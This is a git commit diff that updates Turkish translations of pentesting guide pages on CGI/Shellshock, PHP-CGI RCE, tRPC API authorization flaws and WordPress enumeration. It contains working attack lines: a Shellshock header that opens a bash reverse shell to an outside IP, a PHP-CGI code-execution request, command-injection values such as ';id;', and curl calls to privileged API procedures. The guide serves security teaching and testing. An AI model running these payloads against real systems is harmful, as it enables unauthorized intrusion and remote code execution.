Translated ['', 'src/network-services-pentesting/pentesting-web/web-api-

This commit is contained in:
Translator 2025-10-07 10:28:58 +00:00
parent 789a831074
commit 073567d276
8 changed files with 675 additions and 625 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.5 KiB

BIN
src/images/k8studio.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 87 KiB

File diff suppressed because it is too large Load Diff

View File

@ -5,26 +5,26 @@
## Bilgi
The **CGI scriptleri perl scriptleridir**, bu yüzden, eğer _**.cgi**_ çalıştırabilen bir sunucuyu ele geçirdiyseniz, **perl reverse shell yükleyebilir** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **uzantıyı değiştirebilir** **.pl**'den **.cgi**'ye çevirebilir, **çalıştırma izinleri verebilir** \(`chmod +x`\) ve **web tarayıcısından** reverse shell'e **erişip** çalıştırabilirsiniz.
CGI vuln'larını test etmek için `nikto -C all` \(ve tüm eklentiler\) kullanılması önerilir.
The **CGI scripts are perl scripts**, bu nedenle _**.cgi**_ dosyalarını çalıştırabilen bir sunucuyu ele geçirdiyseniz bir **perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`) yükleyebilir, **uzantıyı** **.pl**'den **.cgi**'ye **değiştirip**, **çalıştırma izinleri** verebilir (`chmod +x`) ve ters kabuğa **web tarayıcısından** erişip çalıştırabilirsiniz.
CGI zafiyetlerini test etmek için `nikto -C all` (ve tüm eklentiler) kullanılması önerilir.
## **ShellShock**
**ShellShock**, Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan **Bash** komut satırı kabuğunu etkileyen bir **vulnerability**dir. Bu zafiyet, Bash'in uygulamalar tarafından iletilen komutları çalıştırabilme yeteneğini hedefler. Zafiyet, süreçlerin nasıl çalıştığını etkileyen dinamik adlandırılmış değerler olan **environment variables**'ların manipülasyonunda yatmaktadır. Saldırganlar, çevre değişkenlerine **malicious code** ekleyerek bunu istismar edebilir; değişken alındığında eklenen kod çalıştırılır. Bu saldırganların sistemi potansiyel olarak ele geçirmesine olanak tanır.
**ShellShock**, Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan **Bash** komut satırı kabuğunu etkileyen bir **vulnerability**'dir. Bash'in uygulamalar tarafından geçirilen komutları çalıştırma yeteneğini hedef alır. Zafiyet, süreçlerin nasıl çalıştığını etkileyen dinamik adlandırılmış değerler olan **environment variables**'ların manipülasyonunda yatar. Saldırganlar, environment variables'a **kötü amaçlı kod** ekleyerek bunu sömürebilir; değişken alındığında eklenen kod çalıştırılır. Bu, saldırganların sistemi potansiyel olarak ele geçirmesine olanak tanır.
Zafiyet istismar edildiğinde sayfa hata verebilir.
Bu zafiyeti sömürürken sayfa bir hata döndürebilir.
Bu zafiyeti, hedefin eski bir **Apache** sürümü ve **cgi_mod** (cgi klasörü ile) kullandığını fark ederek veya **nikto** kullanarak tespit edebilirsiniz.
Bu zafiyeti, eski bir Apache sürümü ve **cgi_mod** (cgi klasörü ile) kullanıldığını fark ederek veya **nikto** ile bulabilirsiniz.
### **Test**
Çoğu test, bir şeyi `echo`'layıp o dizgenin web yanıtında döndürüldüğünü kontrol etmeye dayanır. Bir sayfanın zafiyetli olabileceğini düşünüyorsanız, tüm cgi sayfalarını arayıp test edin.
Çoğu test, `echo` ile bir şey yazdırmaya dayanır ve o dizein web yanıtında döndürülmesi beklenir. Bir sayfanın zayıf olabileceğini düşünüyorsanız, tüm **cgi** sayfalarını arayıp test edin.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(yansımalı, kör ve bant-dışı\)**
## **Curl \(yansıtmalı, kör ve out-of-band\)**
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
@ -51,15 +51,15 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11
> run
```
## Merkezi CGI dispatchers (seçici parametreler aracılığıyla tek uç noktada yönlendirme)
## Merkezi CGI yönlendiricileri (seçici parametrelerle tek uç noktadan yönlendirme)
Birçok gömülü web arayüzü, tek bir CGI uç noktasının (ör. `/cgi-bin/cstecgi.cgi`) arkasında onlarca ayrıcalıklı işlemi multiplex eder ve isteği dahili bir fonksiyona yönlendirmek için `topicurl=<handler>` gibi bir selector parametresi kullanır.
Birçok gömülü web UI'si, tek bir CGI uç noktasının (ör. `/cgi-bin/cstecgi.cgi`) arkasında onlarca ayrıcalıklı işlemi çoklayıp, isteği dahili bir fonksiyona yönlendirmek için `topicurl=<handler>` gibi bir seçici parametre kullanır.
Bu yönlendiricileri istismar etme metodolojisi:
Bu yönlendiricileri exploit etme metodolojisi:
- Enumerate handler names: JS/HTML scrape edin, wordlistlerle brute-force yapın veya firmware'i unpack edip dispatcher tarafından kullanılan handler string'lerini grep'leyin.
- Test unauthenticated reachability: bazı handler'lar auth kontrollerini unutuyor ve doğrudan callable oluyor.
- system utilities çağıran veya dosyalara touch yapan handler'lara odaklanın; zayıf validator'lar genellikle sadece birkaç karakteri engeller ve öndeki tire `-`'i kaçırabilir.
- Enumerate handler names: JS/HTML kazı, wordlist'lerle brute-force yap, veya firmware'i unpack edip dispatcher tarafından kullanılan handler dizelerini grep ile ara.
- Test unauthenticated reachability: bazı handler'lar auth kontrollerini atlıyor ve doğrudan çağrılabiliyor.
- Sistem yardımcı programlarını invoke eden veya dosyalara touch yapan handler'lara odaklan; zayıf validator'lar genellikle sadece birkaç karakteri engeller ve baştaki tire `-`'yi kaçırabilir.
Genel exploit şekilleri:
```http
@ -75,32 +75,31 @@ topicurl=setEasyMeshAgentCfg&agentName=;id;
# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
```
Tespit ve sertleştirme:
Tespit ve güçlendirme:
- Merkezi CGI uç noktalarına `topicurl`'un hassas işleyicilere ayarlandığı yetkilendirilmemiş istekleri izleyin.
- Başında `-` olan parametreleri işaretleyin (argv option injection attempts).
- Satıcılar: tüm durum-değiştiren işleyicilerde kimlik doğrulamayı zorunlu kılın, sıkı allowlists/types/lengths ile doğrulayın ve kullanıcı kontrollü dizeleri komut satırı flag'leri olarak asla geçirmeyin.
- Merkezi CGI uç noktalarına `topicurl`'ün hassas işleyicilere ayarlanmış olarak gelen kimlik doğrulanmamış istekleri izleyin.
- Başında `-` ile başlayan parametreleri işaretleyin (argv option injection attempts).
- Tedarikçiler: tüm durum-değiştiren işleyicilerde kimlik doğrulamasını zorunlu kılın, sıkı izin listeleri/tipler/uzunluklar kullanarak doğrulayın ve kullanıcı kontrollü dizeleri asla komut satırı bayrakları olarak iletmeyin.
## Eski PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
Temelde CGI aktif ve PHP "eski" \(&lt;5.3.12 / &lt; 5.4.2\) ise code çalıştırabilirsiniz.
Bu açığı istismar etmek için web sunucusundaki bazı PHP dosyalarına parametre göndermeden (özellikle "=" karakterini göndermeden) erişmeniz gerekiyor.
Daha sonra bu açığı test etmek için örneğin `/index.php?-s`'e erişebilirsiniz \(note the `-s`\) ve **uygulamanın source code'u yanıtta görünecektir**.
Temelde eğer cgi etkinse ve php "eski" \(&lt;5.3.12 / &lt; 5.4.2\) ise kod çalıştırabilirsiniz.
Bu açığı istismar etmek için web sunucusunun bazı PHP dosyalarına parametre göndermeden erişmeniz gerekir \(özellikle "=" karakteri göndermeden\).
Daha sonra, bu açığı test etmek için örneğin `/index.php?-s` \(bkz. `-s`\) adresine erişebilirsiniz ve **uygulamanın kaynak kodu yanıt içinde görünecektir**.
Ardından **RCE** elde etmek için şu özel sorguyu gönderebilirsiniz: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` ve yürütülecek **PHP code** isteğin **gövdesinde** olacaktır.
Örnek:
Ardından, **RCE** elde etmek için şu özel sorguyu gönderebilirsiniz: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` ve çalıştırılacak **PHP kodu** isteğin **gövdesinde** olacak. Örnek:
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**vuln ve olası exploits hakkında daha fazla bilgi:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
**Zafiyet ve olası exploitler hakkında daha fazla bilgi:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
## **Proxy \(MitM to Web server requests\)**
## **Proxy \(MitM Web sunucu istekleri için\)**
CGI, HTTP isteğindeki her header için bir environment variable oluşturur. Örneğin: "host:web.com" şu şekilde oluşturulur: "HTTP_HOST"="web.com"
CGI, HTTP isteğindeki her header için bir environment variable oluşturur. Örneğin: "host:web.com" "HTTP_HOST"="web.com" olarak oluşturulur.
Web sunucusu HTTP_PROXY değişkenini kullanıyor olabilir. Şu **header**'ı göndermeyi deneyin: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**". Eğer sunucu oturum sırasında herhangi bir istek yaparsa, sunucunun yaptığı her isteği yakalayabilirsiniz.
HTTP_PROXY değişkeni web sunucusu tarafından kullanılabilir. Oturum sırasında sunucu herhangi bir istek yaparsa, **Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;** içeren bir **header** göndermeyi deneyin; böylece sunucunun yaptığı her isteği yakalayabilirsiniz.
## **Referanslar**
## **References**
- [Unit 42 TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)

View File

@ -4,52 +4,94 @@
## API Pentesting Metodolojisi Özeti
API'leri pentest etmek, zayıflıkları ortaya çıkarmak için yapılandırılmış bir yaklaşım içerir. Bu kılavuz, pratik teknikler ve araçlara vurgu yaparak kapsamlı bir metodolojiyi kapsar.
Pentesting APIs, güvenlik açıklarını ortaya çıkarmak için yapılandırılmış bir yaklaşım gerektirir. Bu rehber, pratik teknikler ve araçlara vurgu yapan kapsamlı bir metodolojiyi özetler.
### **API Türlerini Anlamak**
### **Understanding API Types**
- **SOAP/XML Web Servisleri**: Dokümantasyon için genellikle `?wsdl` yollarında bulunan WSDL formatını kullanır. **SOAPUI** ve **WSDLer** (Burp Suite Eklentisi) istekleri ayrıştırmak ve oluşturmak için önemlidir. Örnek dokümantasyon [DNE Online](http://www.dneonline.com/calculator.asmx) adresinde mevcuttur.
- **REST API'leri (JSON)**: Dokümantasyon genellikle WADL dosyalarında gelir, ancak [Swagger UI](https://swagger.io/tools/swagger-ui/) gibi araçlar etkileşim için daha kullanıcı dostu bir arayüz sağlar. **Postman**, örnek istekleri oluşturmak ve yönetmek için değerli bir araçtır.
- **GraphQL**: API'ler için, API'nizdeki verilerin tam ve anlaşılır bir tanımını sunan bir sorgu dilidir.
- **SOAP/XML Web Services**: Dokümantasyon için genellikle `?wsdl` yollarında bulunan WSDL formatını kullanın. **SOAPUI** ve **WSDLer** (Burp Suite Extension) gibi araçlar istekleri parse etmek ve oluşturmak için hayati öneme sahiptir. Örnek dokümantasyona [DNE Online](http://www.dneonline.com/calculator.asmx) adresinden erişilebilir.
- **REST APIs (JSON)**: Dokümantasyon genellikle WADL dosyalarında bulunur, ancak [Swagger UI](https://swagger.io/tools/swagger-ui/) gibi araçlar etkileşim için daha kullanıcı dostu bir arayüz sağlar. **Postman** örnek istekler oluşturmak ve yönetmek için değerli bir araçtır.
- **GraphQL**: API'ler için, API'deki verilerin tam ve anlaşılabilir bir tanımını sunan bir sorgu dili.
### **Uygulama Laboratuvarları**
### **Practice Labs**
- [**VAmPI**](https://github.com/erev0s/VAmPI): OWASP'ın en iyi 10 API zayıflığını kapsayan, uygulamalı pratik için kasıtlı olarak zayıf bir API.
- [**VAmPI**](https://github.com/erev0s/VAmPI): Eller-on uygulama için kasıtlı olarak zafiyetli bir API; OWASP top 10 API zafiyetlerini kapsar.
### **API Pentesting için Etkili İpuçları**
### **Effective Tricks for API Pentesting**
- **SOAP/XML Zayıflıkları**: XXE zayıflıklarını keşfedin, ancak DTD bildirimleri genellikle kısıtlıdır. XML geçerli kaldığı sürece CDATA etiketleri yük eklemeye izin verebilir.
- **Yetki Yükseltme**: Yetkisiz erişim olasılıklarını belirlemek için farklı yetki seviyelerine sahip uç noktaları test edin.
- **CORS Yanlış Yapılandırmaları**: Kimlik doğrulama oturumlarından CSRF saldırıları yoluyla potansiyel istismar edilebilirlik için CORS ayarlarını araştırın.
- **Uç Nokta Keşfi**: Gizli uç noktaları keşfetmek için API desenlerinden yararlanın. Fuzzer gibi araçlar bu süreci otomatikleştirebilir.
- **Parametre Manipülasyonu**: Yetkisiz verilere veya işlevlere erişmek için isteklerde parametre eklemeyi veya değiştirmeyi deneyin.
- **HTTP Yöntemi Testi**: Beklenmedik davranışları veya bilgi sızıntılarını ortaya çıkarmak için istek yöntemlerini (GET, POST, PUT, DELETE, PATCH) değiştirin.
- **İçerik Türü Manipülasyonu**: Ayrıştırma sorunları veya zayıflıkları test etmek için farklı içerik türleri (x-www-form-urlencoded, application/xml, application/json) arasında geçiş yapın.
- **Gelişmiş Parametre Teknikleri**: JSON yüklerinde beklenmedik veri türleri ile test edin veya XXE enjeksiyonları için XML verileri ile oynayın. Ayrıca, daha geniş testler için parametre kirliliği ve joker karakterler deneyin.
- **Sürüm Testi**: Eski API sürümleri saldırılara daha duyarlı olabilir. Her zaman birden fazla API sürümünü kontrol edin ve test edin.
- **SOAP/XML Vulnerabilities**: XXE zafiyetlerini inceleyin, ancak DTD deklarasyonları genellikle kısıtlanır. XML geçerli kaldığı sürece CDATA etiketleri payload yerleştirmesine izin verebilir.
- **Privilege Escalation**: Farklı yetki seviyelerine sahip endpoint'leri test ederek yetkisiz erişim imkanlarını tespit edin.
- **CORS Misconfigurations**: Kimlikli oturumlardan gelen CSRF saldırıları yoluyla sömürülebilirlik potansiyeli için CORS ayarlarını inceleyin.
- **Endpoint Discovery**: Gizli endpoint'leri keşfetmek için API pattern'lerinden yararlanın. Fuzzers gibi araçlar bu süreci otomatikleştirebilir.
- **Parameter Tampering**: İsteklere parametre ekleyip/yer değiştirerek yetkisiz veri veya fonksiyonlara erişimi test edin.
- **HTTP Method Testing**: Beklenmeyen davranışları veya bilgi sızıntılarını ortaya çıkarmak için istek yöntemlerini (GET, POST, PUT, DELETE, PATCH) değiştirin.
- **Content-Type Manipulation**: Parsing sorunları veya zafiyetleri test etmek için farklı Content-Type'lar (x-www-form-urlencoded, application/xml, application/json) arasında geçiş yapın.
- **Advanced Parameter Techniques**: JSON payload'larında beklenmeyen veri tipleri ile test edin veya XXE enjeksiyonları için XML verileriyle oynayın. Ayrıca daha geniş kapsamlı testler için parameter pollution ve wildcard karakterleri deneyin.
- **Version Testing**: Eski API versiyonları saldırılara daha açık olabilir. Her zaman birden fazla API versiyonunu kontrol edin ve test edin.
### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls
Modern TypeScript stack'leri genellikle input validasyonu için tRPC ile Zod kullanır. tRPC'de `protectedProcedure` tipik olarak isteğin geçerli bir oturuma (authentication) sahip olduğunu doğrular ancak çağıranın doğru rol/izinlere (authorization) sahip olduğunu garanti etmez. Bu uyumsuzluk, hassas prosedürler yalnızca `protectedProcedure` ile sınırlandırılmışsa Broken Function Level Authorization/BOLA'ya yol açar.
- Threat model: Rol kontrolleri eksikse, düşük ayrıcalıklı herhangi bir kimlik doğrulanmış kullanıcı admin düzeyindeki prosedürleri çağırabilir (ör. background migrations, feature flags, tenant-wide maintenance, job control).
- Black-box signal: `POST /api/trpc/<router>.<procedure>` endpoint'leri, admin-only olması gereken işlemler için temel hesaplarda başarılı oluyorsa. Self-serve signups istismar edilebilirliği önemli ölçüde artırır.
- Typical tRPC route shape (v10+): JSON body wrapped under `{"input": {...}}`.
Example vulnerable pattern (no role/permission gate):
```ts
// The endpoint for retrying a migration job
// This checks for a valid session (authentication)
retry: protectedProcedure
// but not for an admin role (authorization).
.input(z.object({ name: z.string() }))
.mutation(async ({ input, ctx }) => {
// Logic to restart a sensitive migration
}),
```
Practical exploitation (black-box)
1) Normal bir hesap kaydı yapın ve kimlik doğrulanmış bir oturum (cookies/headers) edinin.
2) Arka plan işleri veya diğer hassas kaynakları “list”/“all”/“status” işlemleri aracılığıyla listeleyin.
```bash
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{}}'
```
3) bir işi yeniden başlatmak gibi ayrıcalıklı eylemleri çağırın:
```bash
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{"name":"<migration_name>"}}'
```
Değerlendirilecek etkiler
- Non-idempotent restarts yoluyla veri bozulması: Migrations/workers'ın eşzamanlı çalıştırılmasını zorlamak yarış durumları ve tutarsız kısmi durumlar yaratabilir (fark edilmeden veri kaybı, bozuk analizler).
- DoS via worker/DB starvation: Ağır işleri tekrar tekrar tetiklemek worker havuzlarını ve database bağlantılarını tüketebilir; bu da tenant genelinde kesintilere neden olur.
### **API Pentesting için Araçlar ve Kaynaklar**
- [**kiterunner**](https://github.com/assetnote/kiterunner): API uç noktalarını keşfetmek için mükemmel. Hedef API'lere karşı yolları ve parametreleri taramak ve kaba kuvvetle denemek için kullanın.
- [**kiterunner**](https://github.com/assetnote/kiterunner): API endpoint'lerini keşfetmek için mükemmel. Hedef API'lere karşı yolları ve parametreleri taramak ve brute force yapmak için kullanın.
```bash
kr scan https://domain.com/api/ -w routes-large.kite -x 20
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
```
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj, zayıf kimlik doğrulama için ilişkili API uç noktalarını kontrol ederek **açık Swagger/OpenAPI tanım dosyalarının** denetimine yardımcı olmak üzere tasarlanmış bir komut satırı aracıdır. Ayrıca manuel güvenlik testi için komut şablonları sağlar.
- **automatic-api-attack-tool**, **Astra** ve **restler-fuzzer** gibi ek araçlar, saldırı simülasyonundan fuzzing ve güvenlik taramasına kadar API güvenlik testi için özel işlevler sunar.
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): OAS dosyasına dayalı olarak API'nizi denetleyen bir API güvenlik aracıdır (araç rust ile yazılmıştır).
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj, ilişkili API endpoints için weak authentication'ı kontrol ederek **exposed Swagger/OpenAPI definition files**'ın denetimine yardımcı olmak üzere tasarlanmış bir komut satırı aracıdır. Ayrıca manuel zafiyet testi için komut şablonları sağlar.
- **automatic-api-attack-tool**, **Astra** ve **restler-fuzzer** gibi ek araçlar, attack simulation'dan fuzzing ve vulnerability scanning'e kadar API güvenlik testi için özelleştirilmiş işlevsellikler sunar.
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): OAS file'a dayalı olarak API'nizi denetleyen bir API security tool'udur (araç rust ile yazılmıştır).
### **Öğrenme ve Pratik Kaynakları**
### **Learning and Practice Resources**
- **OWASP API Güvenliği En İyi 10**: Yaygın API güvenlik açıklarını anlamak için temel bir okuma ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
- **API Güvenlik Kontrol Listesi**: API'leri güvence altına almak için kapsamlı bir kontrol listesi ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
- **Logger++ Filtreleri**: API güvenlik açıklarını avlamak için Logger++, yararlı filtreler sunar ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
- **API Uç Noktaları Listesi**: Test amaçları için potansiyel API uç noktalarının derlenmiş bir listesi ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
- **OWASP API Security Top 10**: Ortak API zafiyetlerini anlamak için temel bir okuma ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
- **API Security Checklist**: API'leri güvence altına almak için kapsamlı bir kontrol listesi ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
- **Logger++ Filters**: API zafiyetlerini avlarken, Logger++ faydalı filtreler sunar ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
- **API Endpoints List**: Test amaçlı potansiyel API endpoint'lerinin derlenmiş listesi ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
## Referanslar
## References
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,49 +4,49 @@
## Temel Bilgiler
- **Yüklenen** dosyalar gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Tema dosyaları /wp-content/themes/ içinde bulunur,** bu yüzden temanın bazı php dosyalarını değiştirip RCE elde etmeye çalışırsanız muhtemelen bu yolu kullanırsınız. Örneğin: **theme twentytwelve** kullanılarak **404.php** dosyasına şu adreste erişilebilir: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Uploaded** dosyaları gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** bu nedenle tema php'sini değiştirip RCE elde etmeye çalışırsanız muhtemelen bu yolu kullanırsınız. Örneğin: **theme twentytwelve** kullanarak şu dosyaya **erişebilirsiniz**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Başka faydalı bir URL şunu olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **wp-config.php** içinde veritabanının root parolasını bulabilirsiniz.
- Kontrol edilecek varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- `wp-config.php` içinde veritabanı root parolasını bulabilirsiniz.
- Kontrol edilmesi gereken varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Ana WordPress Dosyaları**
### **Main WordPress Files**
- `index.php`
- `license.txt` yüklenen WordPress sürümü gibi faydalı bilgiler içerir.
- `wp-activate.php` yeni bir WordPress sitesi kurarken e-posta aktivasyon süreci için kullanılır.
- `license.txt` yüklü WordPress sürümü gibi faydalı bilgiler içerir.
- `wp-activate.php` yeni bir WordPress sitesi kurulduğunda e-posta aktivasyon süreci için kullanılır.
- Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` HTTP taşıma mekanizması ve XML kodlama mekanizması ile veri iletimine olanak sağlayan bir WordPress özelliğini temsil eden bir dosyadır. Bu tür iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirildi.
- `xmlrpc.php` WordPress'in HTTP taşıyıcı mekanizma ve XML kodlama mekanizmasıyla veri iletimine izin veren bir özelliğini temsil eden bir dosyadır. Bu tür iletişim WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir.
- `wp-content` klasörü eklentilerin ve temaların saklandığı ana dizindir.
- `wp-content/uploads/` platforma yüklenen tüm dosyaların saklandığı dizindir.
- `wp-includes/` sertifikalar, yazı tipleri, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir.
- `wp-sitemap.xml` Wordpress 5.5 ve sonraki sürümlerde, tüm genel gönderileri ve herkese açık sorgulanabilir gönderi türleri ile taksonomileri içeren bir sitemap XML dosyası üretir.
- `wp-content/uploads/` platforma yüklenen herhangi bir dosyanın saklandığı dizindir.
- `wp-includes/` sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların bulunduğu dizindir.
- `wp-sitemap.xml` WordPress 5.5 ve üzeri sürümlerde, WordPress tüm herkese açık gönderiler ve herkese açık sorgulanabilir gönderi türleri ile taksonomiler için bir sitemap XML dosyası oluşturur.
**Post exploitation**
- `wp-config.php` dosyası WordPress'in veritabanına bağlanmak için ihtiyaç duyduğu veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, authentication keys and salts ve veritabanı tablo ön eki gibi bilgileri içerir. Bu yapılandırma dosyası aynı zamanda DEBUG modunu etkinleştirmek için de kullanılabilir; bu, sorun giderme sırasında faydalı olabilir.
- `wp-config.php` dosyası WordPress'in veritabanına bağlanmak için gereken veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, authentication keys ve salts ile veritabanı tablo önekinin (prefix) bilgilerini içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu aktifleştirmek için de kullanılabilir; bu da sorun giderme sırasında yararlı olabilir.
### Kullanıcı İzinleri
- **Administrator**
- **Editor**: Kendi ve başkalarının gönderilerini yayınlar ve yönetir
- **Editor**: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir
- **Author**: Kendi gönderilerini yayınlar ve yönetir
- **Contributor**: Gönderilerini yazar ve yönetir ancak yayınlayamaz
- **Subscriber**: Gönderileri görüntüler ve profilini düzenler
- **Contributor**: Gönderilerini yazar ve yönetir fakat yayınlayamaz
- **Subscriber**: Gönderileri görüntüler ve profillerini düzenler
## **Passive Enumeration**
### **WordPress sürümünü öğrenme**
### **Get WordPress version**
`/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınızı kontrol edin
Sayfanın **kaynak kodu** içinde (örnek: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
Sayfanın **source code** içinde (örnek: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (524).png>)
### Eklentileri Edinin
### Eklentileri Al
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
@ -72,44 +72,44 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Genel olarak sürüm bilgilerini çıkarma
### Genel olarak sürümleri çıkarma
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## Aktif keşif
### Plugins and Themes
### Eklentiler ve Temalar
Muhtemelen tüm Plugins and Themes'i bulamayacaksınız. Hepsini keşfetmek için **actively Brute Force a list of Plugins and Themes** yapmanız gerekecek (umarız bizim için bu listeleri içeren otomatik araçlar vardır).
Muhtemelen tüm eklenti ve temaları bulamayacaksınız. Bunların hepsini keşfetmek için bir eklenti ve tema listesine **aktif olarak Brute Force** yapmanız gerekecek (umarız ki bizim için bu listeleri içeren otomatik araçlar vardır).
### Kullanıcılar
- **ID Brute:** Bir WordPress sitesinden geçerli kullanıcıları kullanıcı ID'lerini Brute Forcing yaparak elde edersiniz:
- **ID Brute:** Bir WordPress sitesinden kullanıcı ID'lerini Brute Forcing yaparak geçerli kullanıcılar elde edersiniz:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Yanıtlar **200** veya **30X** ise, bu id'nin **geçerli** olduğu anlamına gelir. Yanıt **400** ise, id **geçersizdir**.
Eğer yanıtlar **200** veya **30X** ise, bu id'nin **geçerli** olduğu anlamına gelir. Eğer yanıt **400** ise, id **geçersiz**dir.
- **wp-json:** Kullanıcılar hakkında bilgi almak için ayrıca şu sorguyu deneyebilirsiniz:
- **wp-json:** Kullanıcılar hakkında bilgi almak için sorgulamayı da deneyebilirsiniz:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Kullanıcılar hakkında bazı bilgiler ortaya çıkarabilecek bir diğer `/wp-json/` endpoint şudur:
Kullanıcılar hakkında bazı bilgiler ortaya çıkarabilecek bir diğer `/wp-json/` endpoint'i şudur:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
